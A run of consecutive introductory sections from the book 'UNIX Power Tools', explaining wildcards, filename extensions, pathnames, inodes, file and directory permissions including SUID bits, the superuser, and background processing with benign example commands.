But here's the exception to the exception. The shells and the ls command consider a . special if it is the first character of a filename. This is often used to hide initialization files and other files that you aren't normally concerned with; the ls command doesn't show these files unless you ask (16.11) for them. If a file's name begins with ., you always have to type the . explicitly. For example, .*rc matches all files whose names begin with . and end with rc. This is a common convention for the names of UNIX initialization files.

Table 1-1 has a summary of the different sorts of wildcards available.

Table 1.1: Shell
Wildcard | Matches
? | Any single character
* | Any group of zero or more characters
[ab] | Either a or b
[a-z] | Any character between a and z, inclusive

Wildcards can be used at any point or points within a path. Remember, wildcards only match names that already exist. You can't use them to create new files (9.4)- though some shells have curly braces ({}) (9.5, 15.3) for doing that. Article 1.18 has more about how wildcards are handled.

- ML

Previous: 1.15 Filenames | UNIX Power Tools | Next: 1.17 Filename Extensions
1.15 Filenames | Book Index | 1.17 Filename Extensions
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 1] 1.17 Filename Extensions

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 1.16 Wildcards Chapter 1
Introduction 		Next: 1.18 Who Handles Wildcards?

1.17 Filename Extensions

In DOS and some other file systems, filenames often have the form name.extension. For example, Lotus 1-2-3 files have extensions such as .wk1. The operating system treats the extension as separate from the filename and has rules about how long it must be, and so forth.

UNIX doesn't have any special rules about extensions. The dot has no special meaning as a separator, and extensions can be any length. However, a number of programs (especially compilers (52.8)) do make use of one-character extensions to recognize some of the different types of files they work with. In addition, there are a number of conventions that users have sometimes adopted to make clear the contents of their files. (For example, you might name a text file containing some design notes notes.txt.)

Table 1.2 lists some of the extensions you might see to filenames, and a brief description of the programs that recognize them.

Table 1.2: Filename Extensions That Programs Expect
Extension | Description
.a | Archive file (library)
.c | C program source file (52.8)
.f | FORTRAN program source file
.F | FORTRAN program source file to preprocess
.gz | gzipped file (24.7)
.h | C program header file (52.8)
.html | HTML file for World Wide Web servers
.o | Object file (compiled and assembled code) (52.8)
.s | Assembly language code
.z | Packed file
.Z | Compressed file (24.7)
.1 to .8 | Online manual (50.1)source file

In Table 1.3 are some extensions that are often used by users to signal the contents of a file, but are not actually recognized by the programs themselves.

Table 1.3: Filename Extensions for User's Benefit
Extension | Description
.txt | ASCII text file
.tar | tar archive (19.5)
.shar | Shell archive (19.2)
.sh | Bourne shell script (1.5)
.csh | C shell script (47.2)
.mm | Text file containing troff's mm macros (43.14)
.ms | Text file containing troff's ms macros (43.14)
.ps | PostScript source file

- ML, TOR

Previous: 1.16 Wildcards | UNIX Power Tools | Next: 1.18 Who Handles Wildcards?
1.16 Wildcards | Book Index | 1.18 Who Handles Wildcards?
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 1] 1.18 Who Handles Wildcards?

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 1.17 Filename Extensions Chapter 1
Introduction 		Next: 1.19 The Tree Structure of the Filesystem

1.18 Who Handles Wildcards?

Wildcards (1.16) are actually defined by the UNIX shells, rather than the UNIX filesystem. In theory, a new shell could define new wildcards, and consequently, we should discuss wildcarding when we discuss the shell. In practice, all UNIX shells (including ksh, bash, and other variants (1.8)) honor the same wildcard conventions, and we don't expect to see anyone change the rules. (But different shells do different things when a wildcard doesn't match (15.4).)

You may see different wildcarding if you buy a special-purpose shell that emulates another operating system (for example, a shell that looks like DEC's DCL)-in this case, your shell will obey the other operating system's wildcard rules. But even in this case, operating system designers stick to a reasonably similar set of wildcard rules.

The fact that the shell defines wildcards, rather than the filesystem itself or the program you're running, has some important implications for a few commands. Most of the time, a program never sees wildcards. For example, typing:

% lpr *

is exactly the same as typing:

% lpr file1 file2 file3 file4 file5

In this case everything works as expected. But there are other situations in which wildcards don't work at all. Assume you want to read some files from a tape, which requires the command tar x (20.4), so you type the command tar x *.txt. Will you be happy or disappointed?

You'll be disappointed - unless older versions of the files you want are already in your current directory (1.21). The shell expands the wildcard *.txt, according to what's in the current directory, before it hands the completed command line over to tar for execution. All tar gets is a list of files. But you're probably not interested in the current directory; you probably want the wildcard * to be expanded on the tape, retrieving any *.txt files that the tape has.

There's a way to pass wildcards to programs, without having them interpreted by the shell. Simply put *.txt in quotes (8.14). The quotes prevent the UNIX shell from expanding the wildcard, passing it to the command unchanged. Programs that can be used in this way (like uucp and rcp (1.33)) know how to handle wildcards, obeying the same rules as the shell (in fact, these programs usually start a shell to interpret their arguments). You only need to make sure that the programs see the wildcards, that they aren't stripped by the shell before it passes the command line to the program. As a more general rule, you should be aware of when and why a wildcard gets expanded, and you should know how to make sure that wildcards are expanded at an appropriate time.

NOTE: If your shell understands the {} characters (9.5), you can use them because they can generate any string - not just filenames that already exist. You have to type the unique part of each name, but you only have to type the common part once. For example, to extract the files called project/wk9/summary, project/wk14/summary, and project/wk15/summary from a tar tape, you might use:

% tar xv project/wk{9,14,15}/summary
x project/wk9/summary, 3161 bytes, 7 tape blocks
x project/wk14/summary, 878 bytes, 2 tape blocks
x project/wk15/summary, 2268 bytes, 5 tape blocks

Some versions of tar understand wildcards, but many don't. There is a clever workaround (20.9).

- ML

Previous: 1.17 Filename Extensions | UNIX Power Tools | Next: 1.19 The Tree Structure of the Filesystem
1.17 Filename Extensions | Book Index | 1.19 The Tree Structure of the Filesystem
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 1] 1.19 The Tree Structure of the Filesystem

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 1.18 Who Handles Wildcards? Chapter 1
Introduction 		Next: 1.20 Your Home Directory

1.19 The Tree Structure of the Filesystem

A multiuser system needs a way to let different users have different files with the same name. It also needs a way to keep files in logical groups. With thousands of system files and hundreds of files per user, it would be disastrous to have all of the files in one big heap. Even single-user operating systems have found it necessary to go beyond "flat" filesystem structures.

Almost every operating system solved this problem by implementing a tree-structured, or hierarchical, filesystem. UNIX is no exception. A hierarchical filesystem is not much different from a set of filing cabinets at the office. Your set of cabinets consists of many individual cabinets. Each individual cabinet has several drawers; each drawer may have several partitions in it; each partition may have several hanging (Pendaflex) folders; and each hanging folder may have several files. You can specify an individual file by naming the filing cabinet, the drawer, the partition, the group of folders, and the individual folder. For example, you might say to someone: "Get me the `meeting of July 9' file from the Kaiser folder in the Medical Insurance Plans partition in the Benefits drawer of the Personnel file cabinet." This is backwards from the way you'd specify a filename, because it starts with the most specific part, but the idea is essentially the same.

You could give a complete path like this to any file in any of your cabinets, as shown in Figure 1.2. The concept of a "path" lets you distinguish your July 9 meeting with Kaiser from your July 9 interview with a job applicant or your July 9 policy planning meeting. It also lets you keep related topics together: it's easy to browse through the "Medical Insurance" section of one drawer or to scan all your literature and notes about the Kaiser plan. The UNIX filesystem works in exactly the same way (as do most other hierarchical filesystems). Rather than having a heap of assorted files, files are organized into directories. A directory is really nothing more than a special kind of file that lists a bunch of other files (see article 18.2). A directory can contain any number of files (although for performance reasons, it's a good idea to keep the number of files in one directory relatively small - under 100, when you can). A directory can also contain other directories. Because a directory is nothing more than a special kind of file, directories also have names. At the top (the filesystem "tree" is really upside down) is a directory called the "root," which has the special name / (pronounced "slash," but never spelled out).

Figure 1.2: A Hierarchical Filesystem

To locate any file, we can give a sequence of names, starting from the filesystem's root, that shows its exact position in the filesystem: we start with the root and then list the directories you go through to find the file, separating them by slashes. This is called a path. For examples, let's look at the simple filesystem represented by Figure 1.3. The names /home/mkl/mystuff/stuff and /home/hun/publick/stuff both refer to files named stuff. However, these files are in different directories, so they are different files. The names home, hun, and so on are all names of directories. Complete paths like these are called "absolute paths." There are shorter ways to refer to a file called relative paths (1.21).

Figure 1.3: A UNIX Filesystem Tree

- ML

Previous: 1.18 Who Handles Wildcards? | UNIX Power Tools | Next: 1.20 Your Home Directory
1.18 Who Handles Wildcards? | Book Index | 1.20 Your Home Directory
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 1] 1.20 Your Home Directory

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 1.19 The Tree Structure of the Filesystem Chapter 1
Introduction 		Next: 1.21 Making Pathnames

1.20 Your Home Directory

DOS and the Macintosh have hierarchical filesystems (1.19) much like those in UNIX and other large systems. But there is an important difference.

On many DOS and Macintosh systems, you start right at the "root" of the filesystem tree. In effect, you start with a blank slate, and create subdirectories to organize your files.

A UNIX system comes with an enormous filesystem tree already developed. When you log in, you start somewhere down in that tree, in a directory created for you by the system administrator (who may even be yourself, if you are administering your own system).

This directory, the one place in the filesystem that is your very own, to store your files (especially the shell setup files (2.2) that you use to customize the rest of your environment) is called your home directory.

Home directories were originally stored in a directory called /usr (and still are on some systems), but are now often stored in other directories, perhaps named /u or /home.

To change your current directory (1.21) to your home, type cd with no pathname; the shell will assume you mean your home directory. Article 14.11 explains "nicknames" for your home directory and other users' home directories.

- TOR

Previous: 1.19 The Tree Structure of the Filesystem | UNIX Power Tools | Next: 1.21 Making Pathnames
1.19 The Tree Structure of the Filesystem | Book Index | 1.21 Making Pathnames
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 1] 1.21 Making Pathnames

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 1.20 Your Home Directory Chapter 1
Introduction 		Next: 1.22 How UNIX Keeps Track of Files: Inodes

1.21 Making Pathnames

Pathnames locate a file (or directory, or any other object) in the UNIX filesystem. As you read this article, refer to Figure 1.4. It's a diagram of a (very) small part of a UNIX filesystem.

Figure 1.4: Part of a UNIX Filesystem Tree

Whenever you are using UNIX, you have a current directory. By default, UNIX looks for any files or directories that you mention within the current directory. That is, if you don't give an absolute pathname (starting from the root, / ), UNIX tries to look up files relative to the current directory. When you first log in, your current directory is your home directory (1.20), which the system administrator will assign to you. It typically has a name like /usr/mike or /home/mike. You can change your current directory by giving the cd command, followed by the name of a new directory (for example, cd /usr/bin). You can find out your current directory by giving the pwd ("print working directory") command.

If your current directory is /home/mike, and you give the command cat textfile, you are asking UNIX to locate the file textfile within the directory /home/mike. This is equivalent to the absolute path /home/mike/textfile. If you give the command cat notes/textfile, you are asking UNIX to locate the file textfile within the directory notes, within the current directory /home/mike.

A number of abbreviations help you to form relative pathnames more conveniently. You can use the abbreviation . (dot) to refer to the current working directory. You can use .. (dot dot) to refer to the parent of the current working directory. For example, if your current directory is /home/mike, ./textfile is the same as textfile, which is the same as /home/mike/textfile. The relative path ../gina/textfile is the same as /home/gina/textfile; .. moves up one level from /home/mike (to /home), and then searches for the directory gina and the file textfile.

In the C shell, ksh and bash, you can use the abbreviation ~ (tilde) to refer to your home directory. ~name refers to the home directory of the user name. See article 14.11.

Here's a summary of the rules that UNIX uses to interpret paths:

If the pathname begins with /

It is an absolute path, starting from the root.

If the pathname begins with ~ or with ~name

The C shell, ksh and bash turn it into an absolute pathname starting at your home directory (~), or at the home directory of the user name (~name).

If the pathname does not begin with a /

The pathname is relative to the current directory. Two relative special cases use entries that are in every UNIX directory:

  1. If the pathname begins with ./ - the path is relative to the current directory; for example, ./textfile.

  2. If the pathname begins with ../ - the path is relative to the parent of the current directory. For example, if your current directory is /home/mike/work, then ../src means /home/mike/src.

Article 18.2 explains where . and .. come from.

NOTE: The . and .. may appear at any point within a path. They mean "the current directory at this point in the path" and "the parent of the current directory at this point in the path." You commonly see paths starting with ../../ (or more) to refer to the grandparent or great-grandparent of the current directory. However, they can appear at other places in a pathname as well. For example, /usr/ucb/./bin is the same as /usr/ucb/bin; and /usr/ucb/bin/../lib is the same as /usr/ucb/lib. Placing . or .. in the middle of a path may be helpful in building paths within shell scripts, but I have never seen them used in any other useful way.

- ML, JP

Previous: 1.20 Your Home Directory | UNIX Power Tools | Next: 1.22 How UNIX Keeps Track of Files: Inodes
1.20 Your Home Directory | Book Index | 1.22 How UNIX Keeps Track of Files: Inodes
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 1] 1.22 How UNIX Keeps Track of Files: Inodes

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 1.21 Making Pathnames Chapter 1
Introduction 		Next: 1.23 File Access Permissions

1.22 How UNIX Keeps Track of Files: Inodes

The ability to mumble about inodes is the key to social success at a UNIX gurus' cocktail party. This may not seem attractive to you, but sooner or later you will need to know what an inode is.

Seriously, inodes are an important part of the UNIX filesystem. You don't need to worry about them most of the time, but it does help to know what they are.

An inode is a data structure on the disk that describes a file. It holds most of the important information about the file, including the on-disk address of the file's data blocks (the part of the file that you care about). Each inode has its own identifying number, called an i-number. You really don't care about where a file is physically located on a disk. You usually don't care about the i-number - unless you're trying to find the links (18.3, 17.22) to a file. But you do care about the following information, all of which is stored in a file's inode:

  • The file's ownership: the user and the group (22.13) that own the file

  • The file's access mode (1.23, 22.2): whether or not various users and groups are allowed to read, write, or execute the file

  • The file's timestamp (21.5, 21.6): when the file itself was last modified, when the file was last accessed, and when the inode was last modified

  • The file's type: whether the file is a regular file, a special file, or some other kind of abstraction masquerading (1.29) as a file

Each filesystem has a set number of inodes that are created when the filesystem is first created (usually when the disk is first initialized). This number is therefore the maximum number of files that the filesystem can hold. It cannot be changed without reinitializing the filesystem, which destroys all the data that the filesystem holds. It is possible, though rare, for a filesystem to run out of inodes, just like it is possible to run out of storage space - this can happen on filesystems with many, many small files.

The ls -l (22.2) command shows much of this information. The ls -i option (18.4) shows a file's i-number. The stat (21.13) command lists almost everything in an inode.

- ML

Previous: 1.21 Making Pathnames | UNIX Power Tools | Next: 1.23 File Access Permissions
1.21 Making Pathnames | Book Index | 1.23 File Access Permissions
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 1] 1.23 File Access Permissions

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 1.22 How UNIX Keeps Track of Files: Inodes Chapter 1
Introduction 		Next: 1.24 The Superuser (Root)

1.23 File Access Permissions

Under UNIX, access to files is based on the concept of users and groups.

Every "user" on a system has a unique account with a unique login name and a unique UID (38.3) (user ID number). It is possible, and sometimes convenient, to create accounts that are shared by groups of people. For example, in a transaction processing application, all of the order-entry personnel might be assigned a common login name (as far as UNIX is concerned, they only count as one user). In a research and development environment, certain administrative operations might be easier if members of a team shared the same account, in addition to their own accounts. However, in most situations each person using the system has one and only one user ID, and vice versa.

Every user may be a member of one or more "groups." [3] The user's entry in the master password file (/etc/passwd (36.3)) defines his "primary group membership." The /etc/group (22.13) file defines the groups that are available and can also assign other users to these groups as needed. For example, I am a member of three groups: staff, editors, and research. My primary group is staff; the group file says that I am also a member of the editors and research groups. We call editors and research my "secondary groups." The system administrator is responsible for maintaining the group and passwd files. You don't need to worry about them unless you're administering your own system.

[3] In Berkeley and other newer UNIX systems, users have the access privileges of all groups they belong to, all at the same time. In other UNIX systems, you use a command like newgrp to change the group you currently belong to.

Every file belongs to one user and one group. When a file is first created, its owner is the user who created it; its group is the user's primary group or the group of the directory it's created in . (22.5, 22.13) For example, all files I create are owned by the user mikel and the group staff. As the file's owner, I am allowed to use the chgrp command to change the file's group. On filesystems that don't have quotas (24.17), I can also use the chown command to change the file's owner. (To change ownership on systems with quotas, see article 22.21.) For example, to change the file data so that it is owned by the user george and the group others, I give the commands:

% chgrp others data
% chown george data

If you need to change both owner and group, change the group first! You won't have permission to change the group after you aren't the owner. Some versions of chown can change both owner and group at the same time:

% chown george.others data

chown
chgrp
 If you need chown or chgrp for some reason, the GNU versions are on the CD-ROM.

File access is based on a file's user and group ownership and a set of access bits (commonly called the mode bits). When you try to access a file, you are put into one of three classes. You are either the file's owner, a member of the file's group, or an "other." Three bits then determine whether you are allowed to read, write, or execute the file. So, as Figure 1.5 shows, there are a total of nine mode bits (three for each class) that set the basic access permissions.

Figure 1.5: Filesystem Permission Bits

It is common to see these nine basic mode bits interpreted as an octal (base-8) number, in which each digit specifies the access permitted for one class. Each three bits makes one octal digit. Figure 1.6 shows how to do it.

Figure 1.6: Changing Permission Bits to an Octal Number

Let's turn the mode bits 111101001 into an octal number. Break it into chunks of three bits: 111 101 001. The first group, 111, is 4+2+1 or 7. The second group, 101, is 4+0+1 or 5. The third group, 001, is 0+0+1 or 1. So those mode bits can be written as the octal number 751.

To tie this together, look at Figure 1.5 again-and work out these examples yourself. For example, if the owner of a file has read and write access, but no one else is allowed to touch the file, we say that it has the access mode 600. A file that is readable, writable, and executable by everyone has access mode 777. A file that is readable and writable by everyone (i.e., a public text file) has mode 666.

It is also common to see the mode bits expressed as a sequence of ten alphabetic characters (look at the listing from ls -l (22.2)). The first character tells you the file's type. For a plain file, this character is a -. For a directory, it's a d. The next three bits report the owner's access, the middle three bits report group access, and the final three bits report access for others. An r indicates that read access is allowed, w indicates that write access is allowed, and x indicates that execute access is allowed. For example:

-rw-------is mode 600
-rwxrwxrwxis mode 777
-rw-rw-rw-is mode 666

You can change a string like rw-rw-rw- into an octal number with the technique in Figure 1.6 Split it into three-bit chunks. For example, rw- would have the value 4+2+0-that's 6. Therefore, rw-rw-rw- is 666 octal.

If the file is executable, a few other bits come into play. One is the "sticky bit," which tells UNIX to leave the executable in memory after the program has finished running. In theory, leaving the executable around reduces the program's startup time for subsequent users. The sticky bit was an interesting idea a long time ago, but it is obsolete now: modern virtual memory techniques like demand paging have made it unnecessary. Many UNIX users and UNIX books still believe that the sticky bit does something important, so you will hear it mentioned from time to time.

More important are the "set user ID" and "set group ID" (SUID and SGID) bits. If you execute an SUID file, your user ID is set to the user ID of the file's owner. Therefore, if you execute an SUID file that is owned by root, you are the superuser-for the duration of the program. Likewise, executing an SGID file sets your group ID to the file's group while the file is executing. SUID and SGID files can be security holes, but they really exist to enhance security. For example, you might want to allow any user to create a backup tape, but you shouldn't give every user the root password. Therefore, you can create a special version of the dump utility that is owned by root and that has the SUID bit set. When a user invokes this utility, he or she will be able to back up the entire filesystem because the dump command will run as if it were executed by root. But the user can't do anything else: he doesn't know the superuser password and can't do anything that dump won't let him do. Used carefully, SUID programs can be a powerful administrative tool.

NOTE: SUID and SGID programs are such major security holes that many conscientious administrators refuse to add new SUID utilities. Some versions of UNIX ignore the SUID and SGID bits for shell scripts (command files)-on those versions, only compiled programs can be SUID or SGID. SUID and SGID programs always lose their special properties when they are copied. However, making SUID and SGID programs completely safe is very difficult (or maybe impossible). For better or for worse, a lot of standard UNIX utilities (uucp and lpr, for example) are SUID. Article 22.1 introduces other information about file access permissions.

- ML

Previous: 1.22 How UNIX Keeps Track of Files: Inodes | UNIX Power Tools | Next: 1.24 The Superuser (Root)
1.22 How UNIX Keeps Track of Files: Inodes | Book Index | 1.24 The Superuser (Root)
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 1] 1.24 The Superuser (Root)

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 1.23 File Access Permissions Chapter 1
Introduction 		Next: 1.25 Access to Directories

1.24 The Superuser (Root)

In general, a process (38.1) is a program that's running: a shell, the ls command, the vi editor, and so on. In order to kill a process (38.10), change its priority (39.9), or manipulate it in any other way, you have to be the process' owner (i.e., the user who started it). In order to delete a job from a print queue (43.1), you must be the user who started it.

As you might guess, there needs to be a way to circumvent all of this security. Someone has to be able to kill runaway programs, modify the system's files, and so on. Under UNIX, a special user known as root (and commonly called the "superuser") is allowed to do anything.

On any system, the root user should always have a password. The system administrator should be very careful about giving out the superuser password and can't be blamed if he won't give the superuser password to anyone. Historically, UNIX systems have tended to be very lax: at many sites, all the users know the superuser password and don't hesitate to use it whenever they have the slightest problem.

Common as it may be, this is a very bad practice - systems where everyone knows the superuser password have no security whatsoever. People can read each other's mail, trample all over each other's files, scribble on disks by accident, or mail all of the company's proprietary documentation to a competitor (and delete the log files so there's no record that they did it). Worse, even if every user is an angel, being superuser makes it easy for someone to cause big problems accidentally - for instance, typing rm * in an important directory when you thought you were somewhere else. Wise system administrators don't use their superuser status except when they have to (22.22).

In this book, we'll assume that you don't have the superuser password. Almost all of what we describe can be done without becoming superuser.

- ML

Previous: 1.23 File Access Permissions | UNIX Power Tools | Next: 1.25 Access to Directories
1.23 File Access Permissions | Book Index | 1.25 Access to Directories
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 1] 1.25 Access to Directories

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 1.24 The Superuser (Root) Chapter 1
Introduction 		Next: 1.26 What a Multiuser System Can Do for You

1.25 Access to Directories

UNIX uses the same mode bits (1.23) for directories as for files, but they are interpreted differently. This interpretation will make sense if you remember that a directory is nothing more than a list of files. Creating a file in a directory, renaming a file or deleting a file from a directory requires changing this list: therefore, you need write access to the directory to create or delete a file. Modifying a file's contents does not require you to change the directory; therefore, you can modify files even if you don't have write access to the directory (providing that you have write access to the file).

Reading a directory is relatively straightforward: you need read access to be able to list the contents of a directory (find out what files it contains, etc.). If you don't have read access, you can't list the contents of the directory. However (surprise!) you can still access files in the directory, provided that you already know their names.

Execute access for a directory has no meaning per se, so the designers of UNIX have reassigned this bit. It is called the search bit. Search access is needed to perform any operation within a directory and its subdirectories. In other words, if you deny execute access to a directory, you are effectively denying access to the directory and everything beneath it in the directory tree.

The SUID bit is meaningless for directories. However, recent UNIX versions have added a new meaning to the SGID bit (22.5) and sticky bit (22.6).

The exception is that the superuser (1.24) can do absolutely anything at any time.

Article 22.1 introduces other articles about file and directory access.

- ML

Previous: 1.24 The Superuser (Root) | UNIX Power Tools | Next: 1.26 What a Multiuser System Can Do for You
1.24 The Superuser (Root) | Book Index | 1.26 What a Multiuser System Can Do for You
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 1] 1.26 What a Multiuser System Can Do for You

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 1.25 Access to Directories Chapter 1
Introduction 		Next: 1.27 How Background Processing Works

1.26 What a Multiuser System Can Do for You

Even if you are the only user, a multiuser system can do a lot of things for you that a simpler operating system can't. For one thing, you can run several programs at the same time: you don't have to wait for one program to finish before you start the next. Even if you don't have a fancy windowing terminal or a workstation (1.31), you can still run jobs in the background (1.27). Instead of waiting until the program finishes, UNIX lets you give another command immediately. It then runs both programs at the same time, along with the other programs that are running. You are time sharing with yourself.

Running a job in the background is a good way to take advantage of the time the system spends running long jobs. For example, assume that you have just gotten a huge C program from a friend and want to compile and run it (52.8). But you don't want to sit while you're waiting for the compiler to do its work; you'd like to write a letter to your friend. So you can start the compilation in the background and start your editing session in the foreground.

% cc -O bigprogram.c &
[1] 2236
% vi letter.txt

The & means "run the job in the background." The next line is information the shell prints out to make it easier for you to work with your background processes. [1] is a job number, which you'll only see on shells with job control (12.1). The 2236 is a process ID (38.3).

- ML

Previous: 1.25 Access to Directories | UNIX Power Tools | Next: 1.27 How Background Processing Works
1.25 Access to Directories | Book Index | 1.27 How Background Processing Works
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 1] 1.27 How Background Processing Works

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 1.26 What a Multiuser System Can Do for You Chapter 1
Introduction 		Next: 1.28 Some Gotchas with Background Processing

1.27 How Background Processing Works

Remember that the shell sits there listening to what you type, and calling other programs to do jobs that it doesn't have built-in commands to do.

Normally, when the shell calls another program, it waits for the other program to finish. All the ampersand (&) at the end of a command line does is tell the shell not to wait.

Both the Bourne shell and the C shell allow background processing. But, on UNIX systems that have job control (12.1), the C shell, bash and ksh give you a lot of extra capabilities for manipulating background processes.

Here's the tip of the iceberg:

  • If you forget to put a job into the background, you can stop it on the fly with a suspend signal (38.1) by typing CTRL-z. Then use the bg command to put it into the background and restart it:

    % find /usr -name tim -print > mine
[CTRL-z]
Stopped
% bg
[1]    find /usr -name tim -print > mine &

  • You can bring the current background job (12.3) into the foreground with the fg command. This is handy when UNIX stops the background job that needs input from your keyboard (you can't type to jobs running in the background).

  • If you have a lot of background processes running, you can use the jobs command to list them all, and then bring a selected job into the foreground by job number. You can also kill jobs by job number rather than by process ID.

- TOR

Previous: 1.26 What a Multiuser System Can Do for You | UNIX Power Tools | Next: 1.28 Some Gotchas with Background Processing
1.26 What a Multiuser System Can Do for You | Book Index | 1.28 Some Gotchas with Background Processing
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 1] 1.28 Some Gotchas with Background Processing

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 1.27 How Background Processing Works Chapter 1
Introduction 		Next: 1.29 When Is a File Not a File?

1.28 Some Gotchas with Background Processing

  1. If you're using the Bourne shell, you have to watch out for putting a series of commands separated by semicolons (8.5) into the background. The Bourne shell puts only the last command on the line into the background, but waits for the first.

    An easy way to test this is with the following command line, which waits for 15 seconds, then does an ls:

    $ sleep 15; ls &

    In the Bourne shell, you won't get your prompt back until the sleep (40.2) command has finished.

    The proper way to put a series of Bourne shell commands into the background is to group them with parentheses:

    ( )
    $ (sleep 15; ls)&

    This may strike you as a defect, but in fact, it's a sign of the greater precision of Bourne shell syntax, which makes it somewhat exasperating for interactive use, but much better for programming.

  2. It doesn't make any sense to run an interactive program such as an editor in the background. For example, if you type this from the C shell:

    % vi &
[1] 3071

    you'll get a message like the following:

    [1]  + Stopped (tty output) vi

    vi can be active only in the foreground. However, it does make sense to have vi stopped (12.8) in the background.

    If you are running vi or any other interactive program, you can quickly get back to the shell by typing CTRL-z to stop the program. The shell will take control of your terminal and print another shell prompt.

    Stopping vi (12.4) is more efficient than using its shell escape mechanism (30.26), since it lets you go back to your original shell rather than starting a new one. Simply type fg to get back to where you were in editing.

  3. We have shared a system with new users who were overenthusiastic users of background processes, rather like the man who loved loving so much he sought many lovers. Because each background process is competing for the same resources, running many of them can be a drain on the system. This means that everything takes longer for everyone. We used to have people who thought that if they ran three troff (43.13) processes at once, they'd get their three files formatted faster than if they did them one after another. Boy, were they mistaken. [4]

    [4] In the old days, UNIX systems gave all processes to a single CPU. Modern UNIX systems can have multiple CPUs. On these systems, you may do several jobs almost as quickly as one.

  4. If you use the Bourne shell, any background processes you have running will normally be terminated when you log out. To avoid this, use the nohup (38.18) command.

  5. Not all processes are created equal. UNIX maintains a queue of processes ordered by priority. Foreground processes, such as a user typing a command at a prompt, often receive higher priority than background processes. However, you may want to run background processes at an even lower priority, by using nice (39.9). This is a relatively painless way of being kind to other users - and making your foreground job run faster - though it will make your background tasks take a little longer.

- TOR, DD

Previous: 1.27 How Background Processing Works | UNIX Power Tools | Next: 1.29 When Is a File Not a File?
1.27 How Background Processing Works | Book Index | 1.29 When Is a File Not a File?
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 1] 1.29 When Is a File Not a File?

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 1.28 Some Gotchas with Background Processing Chapter 1
Introduction 		Next: 1.30 Redirecting Input and Output

1.29 When Is a File Not a File?

UNIX differs from most operating systems in that it is file-oriented. The designers of UNIX decided that they could make the operating system much simpler if they treated everything as if it were a file. As far as UNIX is concerned, disk drives, terminals, modems, network connections, etc. are all just files. Some recent versions of UNIX (such as System V Release 4) have gone further: even processes (38.1) are files. Like waves and particles in quantum physics, the boundary between files and the rest of the world can be extremely fine: whether you consider a disk a piece of hardware or a special kind of file depends primarily on your perspective and what you want to do with it.

Therefore, to understand UNIX, you have to understand what files are. A file is nothing more than a stream of bytes - that is, an arbitrarily long string of bytes with no special structure. There are no special file structures, and only a few special file types (for keeping track of disks and a few other purposes). The structure of any file is defined by the programs that use it, and not by the UNIX operating system. [5] You may hear users talk about file headers and so on, but these are defined by the applications that use the files, and not by the UNIX filesystem itself.

[5] Many executable files - programs - begin with a magic number. This is a special two-byte-long sequence that tells the kernel how to execute the file.

UNIX programs do abide by one convention, however. Text files use a single newline character (linefeed) between lines of text, rather than the carriage return-linefeed combination used in DOS or the carriage returns used in the Macintosh. This difference may cause problems when you bring files from other operating systems over to UNIX. DOS files will often be littered with carriage returns (CTRL-m), which are necessary for that operating system but are superfluous for UNIX. These carriage returns will look ugly if you try to edit or print the file and may confuse some UNIX programs. Mac text files will appear to be one long line with no breaks. Of course, you can use UNIX utilities to convert DOS and Mac files for UNIX-see article 1.5.

- ML

Previous: 1.28 Some Gotchas with Background Processing | UNIX Power Tools | Next: 1.30 Redirecting Input and Output
1.28 Some Gotchas with Background Processing | Book Index | 1.30 Redirecting Input and Output
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 1] 1.30 Redirecting Input and Output

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 1.29 When Is a File Not a File? Chapter 1
